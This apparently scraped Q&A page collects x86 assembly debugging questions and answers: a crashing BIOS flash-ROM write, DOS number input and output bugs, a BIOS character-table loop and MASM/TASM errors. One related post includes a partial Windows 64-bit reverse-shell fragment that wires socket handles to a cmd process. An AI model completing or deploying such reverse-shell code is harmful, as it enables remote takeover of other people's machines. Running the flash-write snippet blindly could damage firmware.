black screen of death when write to BIOS Flash ROM - x86-16

I'm trying to write a program that is installed onto BIOS, but when I tried to run it, I got a black screen of death and my computer crashed.
What is wrong in my code below?
cli
mov ax,0B108h
xor bx,bx
mov di,0090h
int 1Ah
push cx
or cl,00110000b
mov ax,0B10Bh
xor bx,bx
int 1Ah
mov ax,0F000h
mov es,ax
xor di,di
mov cx,0010h
mov al,11h
cld
rep stosb
pop cx
mov ax,0B10Bh
xor bx,bx
mov di,0090h
int 1Ah
sti
wbinvd

Related

when writing 64bit reverse shell in assembly got stuck at createrprocessA api

hello i am writing windows 64bit reverse shell in assembly and after gett connected to the targetmachine ip, i want to create process to spwan a shell, fistly i try to write startinfo struct for createprocess api, but after then i pass all the parameters to the function but it doesn't work, and here is full code https://pastebin.com/6Ft2jCMX
;STARTUPINFOA+PROCESS_INFORMATION
;----------------------------------
push byte 0x12 ; We want to place (18 * 4) = 72 null bytes onto the stack
pop rcx ; Set ECX for the loop
xor r11,r11
push_loop:
push r11 ; push a null dword
loop push_loop ; keep looping untill we have pushed enough nulls
lea r12,[rsp]
mov dl,104
xor rcx,rcx
mov [r12],dword edx
mov [r12+4],rcx
mov [r12+12],rcx
mov [r12+20],rcx
mov [r12+24],rcx
xor rdx,rdx
mov dl,255
inc rdx
mov [r12+0x3c],edx
mov [r12+0x50],r14 ; HANDLE hStdInput;
mov [r12+0x58],r14 ; HANDLE hStdOutput;
mov [r12+0x60],r14 ;HANDLE hStdError;
;createprocessA_calling
sub rsp, 0x70
push 'cmdA'
mov [rsp+3],byte dl
lea rdx,[rsp]
inc rcx
mov [rsp+32],rcx
xor rcx,rcx
xor r8,r8
mov [rsp+40],r8
mov [rsp+48],r8
mov [rsp+56],r8
lea r9,[r12]
mov [rsp+64],r9
lea r9,[r12+104]
mov [rsp+72],r9
xor r9,r9
call rbx ;createprocessA
so at last when i call the createprocessA it got stuck

Why does the following 8086 assembly code only display numbers up to 2559?

What am I trying to do ?
I want to get a 16-bit number from the user and print It on the console.
What Is the problem ?
Well my code works fine If the number entered Is less than 2600 but the moment I enter 2600 It displays "40" and for 2601 "41" and so on. Shouldn't It display numbers up to 65535 ? Because I am storing the value In the bx register which Is 16-bit and which can store at most 65535. Then why only 2559 ?
My code:
.model small
.data
msg db 10,13,'Enter a 16bit number: $'
newline db 10,13,'$'
.code
main:
mov ax, #data
mov ds, ax
mov cl, 10
mov bx, 0
mov ah, 09h
lea dx, msg
int 21h
call get16bitNum
mov ah, 09h
lea dx, newline
int 21h
mov ax, '$'
push ax
mov ax, bx
store:
div cl
cmp al, 0
mov bh, 0
mov bl, ah
push bx
je continue
mov ah, 0
jmp store
continue:
pop ax
cmp ax, '$'
je ext
mov bx, ax
mov ah, 02h
mov dx, bx
add dx, 48
int 21h
jmp continue
ext:
mov ah, 04ch
int 21h
proc get16bitNum
aggregate:
mov ah, 01h
int 21h
cmp al, 13
je return
mov ah, 0
sub al, 48
mov dx, bx
mov bx, ax
mov ax, dx
mul cl
add bx,ax
jmp aggregate
return:
ret
endp
end main
You don't actually retrieve a 16-bit number!
You keep the desired input in BX, and so you need to multiply the whole of BX by 10. You do this using a word sized multiplication.
proc get16bitNum
aggregate:
mov ah, 01h
int 21h
cmp al, 13
je return
mov ah, 0
sub al, 48 ;AX is 0 to 9
xchg ax, bx ;New digit temporarily in BX
mov cx, 10
mul cx ;Product is in DX:AX, but we won't use DX!
add bx ,ax ;Add new digit
jmp aggregate
return:
ret
You don't display the 16-bit number
The procedure to convert the number into text will definitely need to use the word sized division.
For an excellent explanation on how to do this see this recent post Displaying numbers with DOS. It explains in great detail everything you need to know about converting numbers. It even uses the same technique of pushing some value in the stack (You used a $ character for this) to know where the number ends.
ps. If you find the info in the linked post useful don't hesitate to upvote it. (Of course I hope you find my answer useful too!)
8 bit div produces 8 bit quotient and remainder.
When you divide 2600 by 10 you get an 8 bit quotient, losing higher bits.
You should use 16 bit division.

a program works in Turbo Debugger when I step through it, but when I run it in TD or DOS it stops and Ctrl+Alt+Delete becomes the only option

The program was meant to display char table using BIOS int 10h, and it does it but only when I step through it in td. I thought that maybe while in debugger uninitialized registers contain zero, but while running they can possibly contain trash, therefore I put mov ax, 0003h instead of mov al, 3 and added xor dx, dx; but it does not works either.
.model tiny
.code
org 100h
start:
mov ax, 0003h
int 10h
xor dx, dx
mov si, 256
mov ax, 0900h
mov cx, 1
xor bh, bh
mov bl, 00011111b
cloop:
int 10h
push ax
mov ah, 2
inc dl
int 10h
mov ax, 0920h
int 10h
mov ah, 2
inc dl
int 10h
pop ax
inc al
test al, 0Fh
jnz con_loop
mov ah, 2
inc dh
xor dl, dl
int 10h
pop ax
con_loop:
dec si
jnz cloop
ret
end start
You need an additional PUSH. You should never trust BIOS/DOS/others to preserve AX even if it is not an output register.
test al,0Fh
jnz con_loop
push ax ;You forgot this!!!
mov ah,2
inc dh
xor dl,dl
int 10h
pop ax
con_loop:
You've got a pop instruction that doesn't correspond to a push:
push ax
...
pop ax
inc al
...
int 10h
pop ax <-- HERE
con_loop:
That last pop should be removed.

masm errors : error A2006: undefined symbol : BEGIN

I try to use MASM6.15 on win7(32bit) to write an interrupt solving program.
But I get two strange error message when compiling.
Assembling: int7.asm
int7.asm<19> : error A2206: missing operator in expression
int7.asm<77> : error A2006: undefined symbol : BEGIN
I had marked this two line in the demo.
Thanks a lot!!
DATA SEGMENT
COUNT DW 1
MSG DB 0DH,0AH,'THE BELL IS RINGING!',07H,0DH,0AH,'$'
FLAG DB 0
DATA ENDS
CODE SEGMENT
ASSUME CS:CODE,DS:DATA
MAIN PROC FAR
BEGIN: PUSH DS
XOR AX,AX
PUSH AX
MOV AL,1CH
MOV AH,35H
INT 21H
PUSH ES
PUSH BX
;----------------------
MOV DX,OFF SEG RING
MOV AX,SEG RING ; it shows error here : missing operator
MOV DS,AX
MOV AL,1CH
MOV AH,25H
INT 21H
;----------------------
IN AL,21H
AND AL,11111110B
OUT 21H,AL
INT 21H
STI
;----------------------
;REPEAT
DELAY: MOV SI,1000H
DELAY1: DEC SI
JNZ DELAY1
AND FLAG,01H
JNZ EXIT1
DEC SI
JNZ DELAY1
EXIT1: MOV FLAG,0
MOV COUNT,1
POP DX
POP DS
MOV AL,1CH
MOV AH,25H
INT 21H
RET
MAIN ENDP
RING PROC FAR
PUSH DS
PUSH AX
PUSH CX
PUSH DX
MOV AX,DATA
MOV DS,AX
STI
DEC COUNT
JNZ EXIT
MOV DX,OFFSET MSG
MOV AH,09H
INT 21H
MOV COUNT,182
MOV AH,0BH
INT 21H
CMP AL,0
JZ EXIT
MOV FLAG,1
EXIT: CLI
POP DX
POP CX
POP AX
POP DS
IRET
RING ENDP
CODE ENDS
END BEGIN ; it shows that BEGIN is undefined symbol
MOV DX, OFFESET RING
then
why END BEGIN?
BEGIN is simply a label rather than a segment name or a process name
remove END BEGINand add END at the end of file
-----UPDATED-----
Or maybe you want to tell the linker where the program start if you try to use a small memory model.At this time ,you do need to add this line at the end of file: end BEGIN.which will tell linker the label BEGIN is exactly the place where this program should start at.
However, you may get an error from assembler sometimes. like this:
error A2006: undefined symbol : BEGIN
then you should try to move your BEGIN label out of the main procedure(the one you want it to be the entry of this program).And the program looks like :
DATA SEGMENT
COUNT DW 1
MSG DB 0DH,0AH,'THE BELL IS RINGING!',07H,0DH,0AH,'$'
FLAG DB 0
DATA ENDS
CODE SEGMENT
ASSUME CS:CODE,DS:DATA
BEGIN:
MAIN PROC FAR
PUSH DS
XOR AX,AX
PUSH AX
MOV AL,1CH
MOV AH,35H
INT 21H
PUSH ES
PUSH BX
;----------------------
MOV DX,OFFET RING
MOV AX,SEG RING ; it shows error here : missing operator
MOV DS,AX
MOV AL,1CH
MOV AH,25H
INT 21H
;----------------------
IN AL,21H
AND AL,11111110B
OUT 21H,AL
INT 21H
STI
;----------------------
;REPEAT
DELAY: MOV SI,1000H
DELAY1: DEC SI
JNZ DELAY1
AND FLAG,01H
JNZ EXIT1
DEC SI
JNZ DELAY1
EXIT1: MOV FLAG,0
MOV COUNT,1
POP DX
POP DS
MOV AL,1CH
MOV AH,25H
INT 21H
RET
MAIN ENDP
RING PROC FAR
PUSH DS
PUSH AX
PUSH CX
PUSH DX
MOV AX,DATA
MOV DS,AX
STI
DEC COUNT
JNZ EXIT
MOV DX,OFFSET MSG
MOV AH,09H
INT 21H
MOV COUNT,182
MOV AH,0BH
INT 21H
CMP AL,0
JZ EXIT
MOV FLAG,1
EXIT: CLI
POP DX
POP CX
POP AX
POP DS
IRET
RING ENDP
CODE ENDS
END BEGIN

TASM giving no output after compile

I have a program that compiles correctly with zero error or warning but does not display the output I cannot guess the reason for no output
.model small
.data
a dw 1234H
b dw 0100H
.code
Process:
MOV AX, #data
MOV DS, AX
Mov AX, a
MOV BX, b
SUB AX, BX
MOV CH, 04H
MOV CL, 04H
MOV BX, AX
X: ROL BX, CL
MOV DL, BL
AND DL, 0FH
CMP DL, 09
JBE Y
ADD DL, 07
Y: ADD DL, 30H
INT 21H
DEC CH
JNZ X
MOV AH, 4CH
INT 21H
END Process;
If you intend to write characters one at a time to STDOUT then DL should contain the character and AH must be set to 02H before you invoke INT 21H. So,
Y: ADD DL, 30H
MOV AH, 02H
INT 21H
You can also set AH to 02H before the loop starts, saving on the number MOV instructions.

Resources